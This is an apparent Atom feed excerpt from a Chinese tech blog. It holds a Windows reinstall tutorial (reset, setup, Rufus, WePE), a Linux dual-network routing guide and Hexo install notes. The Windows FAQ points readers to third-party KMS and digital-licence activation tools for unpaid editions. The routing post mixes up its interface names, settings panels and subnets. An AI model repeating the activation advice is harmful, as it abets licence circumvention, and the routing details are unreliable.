<updated>2021-08-03T08:18:50.000Z</updated>
<content type="html"><![CDATA[<p>这是一篇面向小白用户的 Windows 系统重装教程,由易到难地介绍了重装 Windows 系统的四种方法,包括直接使用系统提供的重置功能、直接运行镜像内的安装程序、把镜像文件写入 U 盘安装以及使用 PE 系统进行安装,内容尽可能简洁明了,可能有部分描述不太专业,欢迎在评论区指正!</p><span id="more"></span><blockquote><p>前言:本来觉得没有必要写一篇这样的东西,网上教程一大把一大把的,可是经常会有人问我怎么重装系统,看了看吧一些教程贴讲的也不是很清楚,没找到一篇合适的可以直接甩给别人的,干脆就自己写一篇,再有人问我就把这文章甩给他。</p></blockquote><article class="message message-immersive is-primary"><div class="message-body"><i class="fas fa-info-circle mr-2"></i>文章较长且图片较多,阅读时可以点击页面左侧目录进行跳转。</div></article><h2 id="概念解释"><a href="# 概念解释" class="headerlink" title="概念解释"></a>概念解释 </h2><p> 首先对本文中出现的几个概念进行简要的解释,便于理解后续内容。</p><ul><li><p><strong>操作系统 </strong><br><a href="https://zh.wikipedia.org/wiki/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F"> 维基百科 </a> 上对操作系统的定义是:“一组主管并控制计算机操作、运用和运行硬件、软件资源和提供公共服务来组织用户交互的相互关联的系统软件程序”。我们所使用的 Windows 就是一种操作系统,除此之外比较流行的还有开源的 Linux 系统(一般我们使用基于 Linux 内核的发行版,如 Debian、Ubuntu、CentOS 等)、苹果的 macOS 系统等。</p></li><li><p><strong>硬盘(磁盘)</strong><br>硬盘就是就是我们电脑上用来存储数据的一个硬件设备,操作系统和我们的数据文件都是存储在硬盘上的。</p></li><li><p><strong>分区(驱动器)</strong><br>硬盘分区是指将硬盘的整体存储空间划分成多个独立的区域,分别用于操作系统、应用程序及数据文件等(<a href="https://baike.baidu.com/item/%E7%A1%AC%E7%9B%98%E5%88%86%E5%8C%BA">百度百科</a>)。Windows 系统上的分区就是我们通常说的 C 盘、D 盘、E 盘这些,比如有人习惯把操作系统安装在 C 盘,应用程序安装在 D 盘,把自己的数据文件存储在 E 盘,这样如果系统崩溃了,不会影响到我们的数据文件。</p></li><li><p><strong>系统镜像 </strong><br> 本文中的系统镜像指下载的用于安装 Windows 操作系统的文件,通常以 .iso 为后缀名。</p></li><li><p><strong>PE 系统</strong><br>Windows 预安装环境(Windows Preinstallation Environment),可以理解为一个最小 Windows 系统,它可以被放在 U 盘上,用来安装正式的操作系统,或者进行一些维护操作。常见的 PE 系统有:微 PE、老毛桃、大白菜、优启通等,有些不太良心的 PE 系统会在你安装系统过程中夹带私货,个人更推荐微 PE。</p></li><li><p><strong>BIOS</strong><br>基本输入输出系统(Basic Input Output System)本质上是一个程序,主要负责开机时自检以及引导操作系统启动,在装系统过程中我们主要使用 BIOS 提供的启动菜单来实现从 U 盘启动。</p></li><li><p><strong>UEFI 和 Legency BIOS 以及 GPT 分区表和 MBR 分区表 </strong><br> 说来话长长话短说,UEFI 的出现是为了取代传统 BIOS,更好,近几年的电脑几乎都使用 UEFI 而不是传统 BIOS。GPT 与 UEFI 对应,MBR 与 Legency BIOS 对应,GPT 更好。所以现在装系统都是 UEFI+GPT 的组合,如果你发现新买的电脑是 BIOS+MBR 的组合,十有八九是无良电脑店水平不行他不懂给你瞎装……</p></li></ul><h2 id="重装系统前的准备工作"><a href="# 重装系统前的准备工作" class="headerlink" title="重装系统前的准备工作"></a>重装系统前的准备工作 </h2><h3 id="备份重要文件"><a href="# 备份重要文件" class="headerlink" title="备份重要文件"></a> 备份重要文件 </h3><p><strong> 在进行后面的操作之前一定要备份好电脑里重要的数据!!</strong></p><p>怎么备份?把重要的文件拷到 U 盘里或者移动硬盘里是最简单的方法。</p><h3 id="获取系统镜像"><a href="# 获取系统镜像" class="headerlink" title="获取系统镜像"></a>获取系统镜像</h3><p><a href="https://next.itellyou.cn/">MSDN, I Tell You</a> 是一个广受好评的网站,找到想要下载的操作系统,选择合适的版本,复制下载链接进行下载即可,ed2k 和 bt 格式的下载链接可以使用迅雷或者百度云离线下载等工具进行下载,Windows 镜像下载后会得到一个后缀为.iso 的镜像文件。对大多数人来说,版本选择 Consumer Editions 即可。。</p><h2 id="方法一:通过系统提供的重置功能"><a href="# 方法一:通过系统提供的重置功能" class="headerlink" title="方法一:通过系统提供的重置功能"></a>方法一:通过系统提供的重置功能 </h2><p> 如果你只是想清空一下当前的系统,恢复到刚装完系统的干净状态,并不打算更改系统版本,那么最简单的方法是直接在系统设置中进行重置,不需要什么额外的知识,也不需要 U 盘,不需要下载任何东西,简单粗暴。打开“设置” -> “更新和安全” -> “恢复”,可以看到系统提供了“重置此电脑”的操作。</p><img src="https://i.loli.net/2021/08/02/B5aK4qmEruCNAne.png" title="在系统中进行重置" alt="在系统中进行重置" class="box px-0 py-0 mx-auto" width="600" /><br /><p>点击“开始”,然后选择“删除所有内容”,之后程序会显示出默认要执行的操作,“删除应用和文件。不清理驱动器”即不对分区进行覆写,“仅删除 Windows 驱动器中的所有文件”即仅删除系统盘(C 盘)的内容,C、D、E 这些其他盘里的东西原封不动。如果要对这个设置进行修改,点击“更改设置”,选择是否要覆写磁盘防止有心之人恢复你已经删除的数据(一般没必要,这个操作很慢),以及是否要删除所有的驱动器而不只是删除 C 盘。确认无误后,就可以点击“重置”然后等待系统重置完成。</p><img src="https://i.loli.net/2021/08/02/fPXWgCRTBduca5Y.png" title="选择删除所有内容" alt="选择删除所有内容" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/djthRqkVb2olKJf.png" title="程序显示出即将执行的操作" alt="程序显示出即将执行的操作" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/hPvNgrapt7O9zTL.png" title="更改要执行的操作" alt="更改要执行的操作" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/E2KITXtkv19bMiY.png" title="点击“重置”开始重置过程" alt="点击“重置”开始重置过程" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/8IoCyHWld9RV7q6.png" title="等待系统重置完成" alt="等待系统重置完成" class="box px-0 py-0 mx-auto" width="600" /><br /><h2 id="方法二:直接运行镜像内的安装程序"><a href="# 方法二:直接运行镜像内的安装程序" class="headerlink" title="方法二:直接运行镜像内的安装程序"></a>方法二:直接运行镜像内的安装程序 </h2><p> 如果你的系统现在能够正常使用,那么可以直接在当前系统中双击下载的镜像文件运行安装程序(可以把它当做一个安装包),系统会自动使用虚拟光驱装载镜像文件,并弹出一个 DVD 驱动器的窗口。双击“setup.exe”程序,选择允许更改,即可看到“Windows 10 安装程序”窗口。在这里可以“更改 Windows 安装程序下载更新的方式”,选择是在安装系统时下载更新、驱动程序和可选功能还是在安装完系统后再进行这些操作。</p><img src="https://i.loli.net/2021/08/02/9bqNX7GDCHFQslJ.png" title="双击下载的镜像文件进行装载" alt="双击下载的镜像文件进行装载" class="box px-0 py-0 mx-auto" width="200" /><br /><img src="https://i.loli.net/2021/08/02/lD5fIPynqdNLYZ4.png" title="双击运行 setup.exe 程序" alt="双击运行 setup.exe 程序" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/1xKS5dH7EYpTgDC.png" title="Windows10 安装程序窗口" alt="Windows10 安装程序窗口" class="box px-0 py-0 mx-auto" width="600" /><br /><p>准备就绪后,安装程序会显示即将执行的默认操作,即“安装 Windows 10 家庭版”和“保留个人文件和应用”,我们可以点击“更改要保留的内容”,选择“无”以清空整个分区。最后点击安装,等待安装完成。</p><img src="https://i.loli.net/2021/08/02/fZocz5RAKTM8HOp.png" title="确认要执行的操作" alt="确认要执行的操作" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/ylHKhgxArBZW6R5.png" title="更改要执行的操作" alt="更改要执行的操作" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/5xMValivGDJFHWS.png" title="等待系统安装完成" alt="等待系统安装完成" class="box px-0 py-0 mx-auto" width="600" /><br /><h2 id="方法三:将系统镜像写入 U 盘进行安装"><a href="# 方法三:将系统镜像写入 U 盘进行安装" class="headerlink" title="方法三:将系统镜像写入 U 盘进行安装"></a>方法三:将系统镜像写入 U 盘进行安装 </h2><p> 方法二并不总是能成功,而且如果你的系统出现问题,已经无法正常使用,那么你可以在另一台电脑上将下载好的镜像写入一个空的 U 盘,把这个 U 盘作为系统安装盘来重新安装 Windows 系统。</p><p>下载并运行<a href="https://rufus.ie/zh/">Rufus 工具</a>,Rufus 是一个可以格式化和创建可引导 USB 闪存盘的工具,使用它可以将我们下载的系统镜像写入到 U 盘中。设备选择我们插入的 U 盘,点击右侧选择按钮选择我们下载好的系统镜像,其他设置保持默认,点击“开始”进行写入。需要注意的是,写入过程会擦除原先 U 盘上所有的数据,所以一定要用一个没有重要数据的 U 盘。</p><img src="https://i.loli.net/2021/08/02/sTnfw4i9uDAe2Sk.png" title="使用 Rufus 工具将系统镜像写入 U 盘" alt="使用 Rufus 工具将系统镜像写入 U 盘" class="box px-0 py-0 mx-auto" width="300" /><br /><p>写入完成后,将 U 盘插入自己的电脑并开机(如果是在自己电脑上进行的写入操作则重启电脑),并不断地点按电脑的启动菜单键(部分品牌笔记本电脑按键如下,有的电脑可能还要同时按下 Fn 键),直到出现一个类似下图的启动菜单。如果没有出现启动菜单而是直接进入了自己的系统,那么关机重来。很多电脑在 Logo 界面时如果你随便按一个键,它会提示你按哪个键进入启动菜单,按哪个键进入 BIOS,可以仔细观察一下。在启动菜单中选择自己的 U 盘(一般会以 EFI 开头且含有 U 盘厂商的名字,比如 SanDisk),按下回车键即可从 U 盘启动。</p><table><thead><tr><th>品牌</th><th>启动按键</th><th>品牌</th><th>启动按键</th></tr></thead><tbody><tr><td>联想</td><td>F12</td><td>华硕</td><td>ESC</td></tr><tr><td>苹果</td><td>长按 Option</td><td>神舟</td><td>F12</td></tr><tr><td>戴尔</td><td>F12</td><td>宏碁</td><td>F12</td></tr><tr><td>惠普</td><td>F9</td><td>三星</td><td>F12</td></tr></tbody></table><img src="https://i.loli.net/2021/08/02/BiUhPTzwS1lrsy9.png" title="选择通过 U 盘启动" alt="选择通过 U 盘启动" class="box px-0 py-0 mx-auto" width="600" /><br /><p>接着你将会看到 Windows 安装程序,在“激活 Windows”窗口,点击“我没有产品密钥”,跳过密钥的填写,接着选择要安装的 Windows 版本。</p><img src="https://i.loli.net/2021/08/02/3hOMm2FtjRzQsxZ.png" title="Windows 安装程序" alt="Windows 安装程序" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/aFszopYXbKim9Qc.png" title="选择要安装的版本" alt="选择要安装的版本" class="box px-0 py-0 mx-auto" width="600" /><br /><p>安装类型选择“自定义”,然后进入到安装分区选择界面,选择你要把系统安装在哪个盘,我们可以通过容量大小来辨别哪个是我们的 C 盘,把系统安装在这里。也可以在这个界面对分区进行调整,增加或者删除分区,但只建议动主分区,不要修改前面的“系统分区”和“MSR”分区。如果想清空某个分区的内容,可以选中分区然后点击下面的“格式化”按钮。</p><img src="https://i.loli.net/2021/08/02/73eCwtmQFXv8GJZ.png" title="选择自定义类型安装" alt="选择自定义类型安装" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/wAuiMXH4fvgW6zC.png" title="选择要安装到哪个分区" alt="选择要安装到哪个分区" class="box px-0 py-0 mx-auto" width="600" /><br /><p>点击“下一步”会提示安装过程可能把以前系统盘内的文件备份到“Windows.old”文件夹,如果不需要这些文件我们要记得装完系统后把文件夹删除,这个文件夹还是挺大的。之后等待安装完成即可。</p><img src="https://i.loli.net/2021/08/02/Ui38LYJO7wr6jN5.png" title="等待安装完成" alt="等待安装完成" class="box px-0 py-0 mx-auto" width="600" /><br /><h2 id="方法四:使用 PE 系统进行系统安装"><a href="# 方法四:使用 PE 系统进行系统安装" class="headerlink" title="方法四:使用 PE 系统进行系统安装"></a>方法四:使用 PE 系统进行系统安装 </h2><p> 我最喜欢的方式还是使用 PE 来装系统,因为 PE 系统里带了一些很有用的工具,比如 DiskGenius,使得我们可以在重装前通过 PE 系统对硬盘进行重新分区,也可以直接在 PE 系统里对原操作系统的重要文件进行备份,根本不需要考虑原操作系统是否可用,这是给别人装系统最舒服的方式,而且从我的经历来看这种方法要比方法二和三更可靠一些。</p><p>下载并运行 <a href="http://www.wepe.com.cn/download.html"> 微 PE 工具箱 </a> 最新版本,点击“查看下载链接”按钮会提示捐赠,但并不是强制的,没有使用过可以先跳过捐赠,用后觉得不错再回来捐赠也行,注意下载 64 位版本。不要点软件界面正中间那个大大的“立即安装进系统”按钮!我们要安装到 U 盘。点击右下角“安装 PE 到 U 盘图标”,“安装方法”为默认的三分区方式,其他设置也保持默认即可,可以勾选“个性化盘符图标‘,也可以自定义 PE 系统的壁纸。</p><img src="https://i.loli.net/2021/08/02/JaxMiFmf75VKygS.png" title="运行微 PE 工具箱" alt="运行微 PE 工具箱" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/sjELy1hd4KJ3uVX.png" title="将微 PE 安装进 U 盘" alt="将微 PE 安装进 U 盘" class="box px-0 py-0 mx-auto" width="600" /><br /><p>成功把微 PE 安装到 U 盘之后,我们要让电脑从 U 盘启动,具体操作和方法三中描述一样。</p><img src="https://i.loli.net/2021/08/02/BiUhPTzwS1lrsy9.png" title="选择通过 U 盘启动" alt="选择通过 U 盘启动" class="box px-0 py-0 mx-auto" width="600" /><br /><p>之后,我们就成功进入了 PE 系统,这个系统的样子跟我们平时所使用的系统看起来很像。点击桌面上的“此电脑”图标,可以看到自己硬盘上的分区,这里显示的盘符(C、D、E)可能和以前在系统中看到的不一样,这不重要,只是个代号而已。如果无法进入系统,那么可以在这里对我们的数据进行备份,把需要备份的东西复制到 U 盘的数据区即可。注意一下其中容量为 299M 的 Z 盘,后面要用到。</p><img src="https://i.loli.net/2021/08/02/S85QLzOH9PeZi2f.png" title="进入 PE 系统" alt="进入 PE 系统" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/03/Bj8Os93H74uIpKA.png" title="在 PE 系统中查看硬盘分区" alt="在 PE 系统中查看硬盘分区" class="box px-0 py-0 mx-auto" width="600" /><br /><p>DiskGenius 是一个非常好用的分区管理工具,我们可以用它对电脑上的分区重新进行规划,付费版本还提供了“数据恢复”功能,不过微 PE 自带的是免费版本没有这个功能。这里演示一个可选的操作,对重装系统来说不是必须的。比如说我觉得现在的分区太乱了我想重新建分区重新做人,不想要以前所有的分区和数据了,那么我们可以在左侧硬盘上点击鼠标右键,点击“删除所有分区”,执行完成后这个硬盘上所有的分区都被删除了,点击左上角“保存更改”按钮使操作生效(注意啊看准了硬盘别选错了!之前就有个小伙子在 PE 系统里把我放 PE 系统的 U 盘分区给删了……)。然后点击上面“快速分区”按钮,分区表类型选择“GUID”(有的版本显示为 GPT),选择合适的分区数量,“创建新 ESP 分区”和“创建 MSR 分区”要保留勾选,在右侧调整每个分区的大小和卷标,比如说我想要“系统”、“软件”、“数据”三个分区,之后点击“确定”执行操作。<strong>注意:这个操作会删除所有分区上的数据</strong></p><img src="https://i.loli.net/2021/08/03/VyKMzednOfahxCZ.png" title="DiskGenius 工具" alt="DiskGenius 工具" class="box px-0 py-0 mx-auto" width="600" /><br /><img src="https://i.loli.net/2021/08/02/XcbZogm6YJjktPS.png" title="删除指定硬盘上的所有分区" alt="删除指定硬盘上的所有分区" class="box px-0 py-0 mx-auto" width="300" /><br /><img src="https://i.loli.net/2021/08/02/fJsVZN5h2WBLtA6.png" title="快速分区" alt="快速分区" class="box px-0 py-0 mx-auto" width="600" /><br /><p>重新分区完成后,可以看到系统的分区变成了一个 ESP 分区、一个 MSR 分区,一个 C 盘(系统盘)、一个 D 盘(软件盘)、一个 E 盘(数据盘)。其中,注意 ESP 分区的大小,300M,实际上就是前面看到的 Z 盘。</p><img src="https://i.loli.net/2021/08/02/De2v9zQ41A3BIb6.png" title="重新分区完成" alt="重新分区完成" class="box px-0 py-0 mx-auto" width="600" /><br /><p>接着我们开始往硬盘上安装操作系统。运行桌面上的“Windows 安装器”,程序界面如下。有三个“位置”需要进行确认和修改,第一个“Windows 安装文件的位置”,就是安装镜像的位置,点击右侧“搜索”按钮选择之前放在 U 盘数据区的 Windows 镜像即可;第二个“引导驱动器的位置”就是前面那个 300M 大小的 ESP 分区,正常情况下程序会自动帮我们选择,需要确认一下自动选择的是否正确;第三个“安装驱动器的位置”,就是要把系统安装在哪里,这里选择我们划分的 C 盘(系统盘)。如果要安装其他的 Windows 版本,可以在下面下拉列表进行选择。其他选项保持默认不需要更改,点击“安装”按钮执行安装,完成后会提示重启。</p><img src="https://i.loli.net/2021/08/02/dOnpky1jDxbGZ8v.png" title="使用 Windows 安装器进行系统安装" alt="使用 Windows 安装器进行系统安装" class="box px-0 py-0 mx-auto" width="600" /><br /><h2 id="方法对比"><a href="# 方法对比" class="headerlink" title="方法对比"></a>方法对比</h2><table><thead><tr><th>方法</th><th>难度</th><th>需要准备</th><th>局限性</th><th>推荐指数</th></tr></thead><tbody><tr><td>1</td><td>★☆☆</td><td>无</td><td>不能安装其他版本的系统</td><td>★★★</td></tr><tr><td>2</td><td>★☆☆</td><td>下载系统镜像</td><td>似乎不能全盘擦除,而且我在虚拟机上安装失败了…</td><td>☆☆☆</td></tr><tr><td>3</td><td>★★☆</td><td>下载系统镜像、下载写盘工具、准备 U 盘</td><td>一个 U 盘只能写一个系统镜像,而且不能再用来存别的东西</td><td>★☆☆</td></tr><tr><td>4</td><td>★★☆</td><td>下载系统镜像、下载 WePE、准备 U 盘</td><td>/</td><td>★★★</td></tr></tbody></table><h2 id="常见问题解答"><a href="# 常见问题解答" class="headerlink" title="常见问题解答"></a>常见问题解答 </h2><h3 id="我安装的系统是正版系统吗?我要如何激活我的系统?"><a href="# 我安装的系统是正版系统吗?我要如何激活我的系统?" class="headerlink" title="我安装的系统是正版系统吗?我要如何激活我的系统?"></a> 我安装的系统是正版系统吗?我要如何激活我的系统?</h3><p>正版不正版的界定应该主要是你给没给微软钱……近几年购买的笔记本电脑一般都预装了正版的 Windows10 家庭版,如果你重装时选择的是家庭版系统,那么联网后会自动激活,这种情况算是电脑厂商给你花了钱的。如果你是比较早的电脑没有原装的正版系统,或者你就是想体验专业版或者企业版,可以自行搜索激活工具进行激活,比较主流的有数字权利激活和 KMS 激活两种方案。</p><h3 id="家庭版、企业版、专业版,我该选哪一种?"><a href="# 家庭版、企业版、专业版,我该选哪一种?" class="headerlink" title="家庭版、企业版、专业版,我该选哪一种?"></a>家庭版、企业版、专业版,我该选哪一种?</h3><p>Consumer editions 包含 Home(家庭版)、Education(教育版)、Professional(专业版)</p><p>Business editions 包含 Education(教育版)、Enterprise(企业版)、Professional(专业版)</p><p>如果你不知道选啥版本那就选家庭版,说明更高级版本里的功能你也用不上。</p>]]></content>
<summary type="html"><p>这是一篇面向小白用户的Windows系统重装教程,由易到难地介绍了重装Windows系统的四种方法,包括直接使用系统提供的重置功能、直接运行镜像内的安装程序、把镜像文件写入U盘安装以及使用PE系统进行安装,内容尽可能简洁明了,可能有部分描述不太专业,欢迎在评论区指正!</p></summary>
</entry>
<entry>
<title>Linux 多网络自动路由设置</title>
<link href="https://www.nuke666.cn/2021/06/multi-network-routing/"/>
<id>https://www.nuke666.cn/2021/06/multi-network-routing/</id>
<published>2021-06-12T11:59:06.000Z</published>
<updated>2021-06-12T11:59:06.000Z</updated>
<content type="html"><![CDATA[<p> 本文介绍如何通过设置本机上的路由规则,实现在同时连接多个网络时,根据目标地址所属网段来自动选择走哪一个网络。其中有线网卡连接内网(校园网 / 企业内网),无线网卡连接外网(手机热点),效果为:同时连接两个网络时,访问内网地址(指定网段)会走有线网络,访问其他网络地址会走无线网络;而单独连接其中一个网络时,也能够正常使用。</p><span id="more"></span><p> 我所使用的操作系统是 Manjaro Linux,Gnome 桌面,对于其他操作系统和桌面环境未进行测试,请自行寻找是否有相似的设置。</p><p> 首先设置无线网络,假设网关为 <code>192.168.43.1</code> ,打开 设置 -> 网络 ,点击有线网络的设置图标,切换到 IPv4 选项卡,在最下方“路由”设置中,关闭“自动”按钮,并填入以下内容。默认设置下,有线网络的优先级要高于无线网络,而我们需要无线网络优先于有线网络,因此通过调整跃点(Metric)的值为 99 来提高其优先级(有线网络的默认跃点值为 100,值越小优先级越高),点击“应用”并重新连接网络。</p><table><thead><tr><th> 地址 </th><th> 子网掩码 </th><th> 网关 </th><th> 跃点 </th></tr></thead><tbody><tr><td>0.0.0.0</td><td>0.0.0.0</td><td>192.168.43.1</td><td>99</td></tr></tbody></table><p> 进行以上设置之后,当我们连接到这个网络时,会自动生成下面这样一条默认路由规则。它表示,在没有其他特定规则和优先级更高的默认规则与目标地址匹配时,则使用这条规则,即通过 wlp69s0 网卡访问 192.168.43.1 网关。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">default via 192.168.43.1 dev wlp60s0 proto static metric 99</span><br></pre></td></tr></table></figure><p> 接着设置有线网络,假设网关为 <code>192.168.2.1</code>,我们需要让 <code>172.16.0.0/12</code> 网段的地址走这个网络。打开 设置 -> WiFi,点击网络旁的设置按钮,同样切换到 IPv4 选项卡,关闭路由设置的“自动”按钮并填入以下内容,点击“应用”并重新连接网络。这里不设置跃点的值,使其保持默认值 100.</p><table><thead><tr><th> 地址 </th><th> 子网掩码 </th><th> 网关 </th><th> 跃点 </th></tr></thead><tbody><tr><td>172.16.0.0</td><td>255.240.0.0</td><td>192.168.2.1</td><td></td></tr><tr><td>0.0.0.0</td><td>0.0.0.0</td><td>192.168.2.1</td><td></td></tr></tbody></table><p> 进行以上设置后,当我们再连接这个网络时,会自动生成下面这样两条路由规则。其中,第二条为特定规则,要优先于所有 default 规则。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">default via 192.168.2.1 dev enp59s0 proto static metric 100 </span><br><span class="line">172.0.0.0/8 via 192.168.2.1 dev enp59s0 proto static metric 100 </span><br></pre></td></tr></table></figure><p> 同时连接两个网络时,系统中所有的路由规则如下。对于 172 网段的地址,由于第三条特定静态规则的存在,它会通过 enp59s0 这个有线网卡来走 <code>192.168.2.1</code> 网关,也就是走内网,而对于其他没有定义特定规则的地址,有两条默认规则可以选择,但是第一条规则的优先级要高于第二条,所以对于其他的流量,都走无线网络。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$ </span><span class="language-bash">ip route show</span></span><br><span class="line">default via 192.168.43.1 dev wlp60s0 proto static metric 99 </span><br><span class="line">default via 192.168.2.1 dev enp59s0 proto static metric 100 </span><br><span class="line">172.0.0.0/8 via 192.168.2.1 dev enp59s0 proto static metric 100 </span><br><span class="line">192.168.2.0/24 dev enp59s0 proto kernel scope link src 192.168.2.102 metric 100 </span><br><span class="line">192.168.43.0/24 dev wlp60s0 proto kernel scope link src 192.168.43.42 metric 600 </span><br></pre></td></tr></table></figure><p> 而只连接有线网络时,系统中的路由规则如下。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$ </span><span class="language-bash">ip route show</span></span><br><span class="line">default via 192.168.2.1 dev enp59s0 proto static metric 100 </span><br><span class="line">172.0.0.0/8 via 192.168.2.1 dev enp59s0 proto static metric 100 </span><br><span class="line">192.168.2.0/24 dev enp59s0 proto kernel scope link src 192.168.2.102 metric 100 </span><br></pre></td></tr></table></figure><p> 只连接无线网络时,系统中的路由规则如下。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$ </span><span class="language-bash">ip route show</span></span><br><span class="line">default via 192.168.43.1 dev wlp60s0 proto static metric 99 </span><br><span class="line">192.168.43.0/24 dev wlp60s0 proto kernel scope link src 192.168.43.42 metric 600 </span><br></pre></td></tr></table></figure><p> 以上的路由规则也可以通过类似下面的命令来手动添加,但是这样添加的路由规则重启后便失效,而且不能随网络连接情况自动调整,因此并不推荐。</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$ </span><span class="language-bash">ip route add 172.0.0.0/8 via 192.168.2.1 dev enp59s0</span></span><br></pre></td></tr></table></figure><p> 参考和工具:</p><blockquote><p><a href="https://linux.cn/article-4326-1.html">linux 同时连接内外网的设置 - CSDN</a></p><p><a href="http://apps.neu.edu.cn/netaggr/"> 东北大学 IP 地址聚合程序 </a></p></blockquote>]]></content>
<summary type="html"><p>本文介绍如何通过设置本机上的路由规则,实现在同时连接多个网络时,根据目标地址所属网段来自动选择走哪一个网络。其中有线网卡连接内网(校园网&#x2F;企业内网),无线网卡连接外网(手机热点),效果为:同时连接两个网络时,访问内网地址(指定网段)会走有线网络,访问其他网络地址会走无线网络;而单独连接其中一个网络时,也能够正常使用。</p></summary>
<category term="Linux" scheme="https://www.nuke666.cn/categories/Linux/"/>
<category term="使用技巧" scheme="https://www.nuke666.cn/tags/%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/"/>
<category term="网络设置" scheme="https://www.nuke666.cn/tags/%E7%BD%91%E7%BB%9C%E8%AE%BE%E7%BD%AE/"/>
</entry>
<entry>
<title>Hexo 博客安装、备份、恢复和升级</title>
<link href="https://www.nuke666.cn/2021/03/hexo-install-backup-recover-update/"/>
<id>https://www.nuke666.cn/2021/03/hexo-install-backup-recover-update/</id>
<published>2021-03-17T13:48:24.000Z</published>
<updated>2021-03-17T13:48:24.000Z</updated>
<content type="html"><![CDATA[<p>Hexo 是目前很流行的一个博客框架,目前搜索引擎中搜索到的自建博客十有七八都是使用的 Hexo,本博客用的也正是 Hexo。由于 Hexo 官方文档中安装部分搞得人晕头转向,所以本文整理记录一下 Hexo 博客安装、部署、备份 / 恢复以及升级的主要步骤和注意事项,力求简单清爽,供参考。</p><span id="more"></span><h2 id="初装"><a href="# 初装" class="headerlink" title="初装"></a>初装</h2><ol><li><p>安装 nodejs 和 npm</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ pacman -S npm</span><br></pre></td></tr></table></figure><p>也可以直接在 Pamac 包管理器中搜索 npm 安装。nodejs 作为 npm 的依赖会自动安装。pacman 是 Manjaro Linux 和 Arch Linux 的包管理软件,其他发行版命令不同但方法类似。</p></li><li><p>创建博客源程序目录,并安装 Hexo 到此目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">mkdir</span> hexo-src && <span class="built_in">cd</span> hexo-src</span><br><span class="line">$ npm install hexo</span><br></pre></td></tr></table></figure><p>此命令将 hexo 安装到 <code>hexo-src</code> 目录的 <code>node_modules</code> 中。</p></li><li><p>修改 PATH(可选)</p><p>将以下内容写入 <code>~/.bashrc</code> 最后一行(如果用的是 zsh 就写到 <code>~/.zshrc</code>),然后执行 <code>source ~/.bashrc</code> 命令。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> <span class="string">"PATH=<span class="variable">$PATH</span>:<span class="variable">$HOME</span>/hexo-src/node_modules/.bin"</span></span><br></pre></td></tr></table></figure><p>这一步是为了能在命令行中直接使用 <code>hexo</code> 命令。也可以不进行这一步,只是以后需要用 <code>npx hexo</code> 命令代替。此处假定 hexo 目录在用户 home 目录中,如不同请修改命令。</p></li><li><p>进行博客初始化</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ hexo init <span class="comment"># 或者 npx hexo init</span></span><br><span class="line">$ npm install</span><br></pre></td></tr></table></figure></li><li><p>完成</p></li></ol><h2 id="部署 -x2F- 备份"><a href="# 部署 -x2F- 备份" class="headerlink" title="部署 / 备份"></a>部署 / 备份 </h2><p> 推荐 <a href="/2021/03/deploy-hexo-using-github-actions/"> 使用 GitHub Actions 部署和备份博客</a>。</p><h2 id="恢复"><a href="# 恢复" class="headerlink" title="恢复"></a>恢复</h2><ol><li><p>安装 nodejs 和 npm</p></li><li><p>克隆源程序仓库</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ git <span class="built_in">clone</span> [email protected]:<username>/hexo-src.git</span><br></pre></td></tr></table></figure></li><li><p>安装 hexo 和依赖模块</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">cd</span> hexo-src</span><br><span class="line">$ npm install</span><br></pre></td></tr></table></figure><p>此命令会读取目录中的 <code>package.json</code> 并自动安装 hexo 及所需的模块到 <code>node_modules</code> 目录中。</p></li><li><p>修改 PATH(可选)</p></li><li><p>完成</p></li></ol><h2 id="升级"><a href="# 升级" class="headerlink" title="升级"></a>升级</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ npm update</span><br></pre></td></tr></table></figure><p>执行完注意一下输出信息,可能有包存在冲突没有给自动升级,需要自行解决冲突或者强制升级。</p><h2 id="参考"><a href="# 参考" class="headerlink" title="参考"></a>参考</h2><blockquote><p><a href="https://github.com/hexojs/hexo/issues/2508">https://github.com/hexojs/hexo/issues/2508</a></p></blockquote>]]></content>
<summary type="html"><p>Hexo是目前很流行的一个博客框架,目前搜索引擎中搜索到的自建博客十有七八都是使用的Hexo,本博客用的也正是Hexo。由于Hexo官方文档中安装部分搞得人晕头转向,所以本文整理记录一下Hexo博客安装、部署、备份&#x2F;恢复以及升级的主要步骤和注意事项,力求简单清爽,供参考。</p></summary>
<category term="网站" scheme="https://www.nuke666.cn/categories/%E7%BD%91%E7%AB%99/"/>
<category term="Hexo" scheme="https://www.nuke666.cn/tags/Hexo/"/>
</entry>
<entry>
<title>使用 GitHub Actions 部署 Hexo 博客</title>
<link href="https://www.nuke666.cn/2021/03/deploy-hexo-using-github-actions/"/>
<id>https://www.nuke666.cn/2021/03/deploy-hexo-using-github-actions/</id>
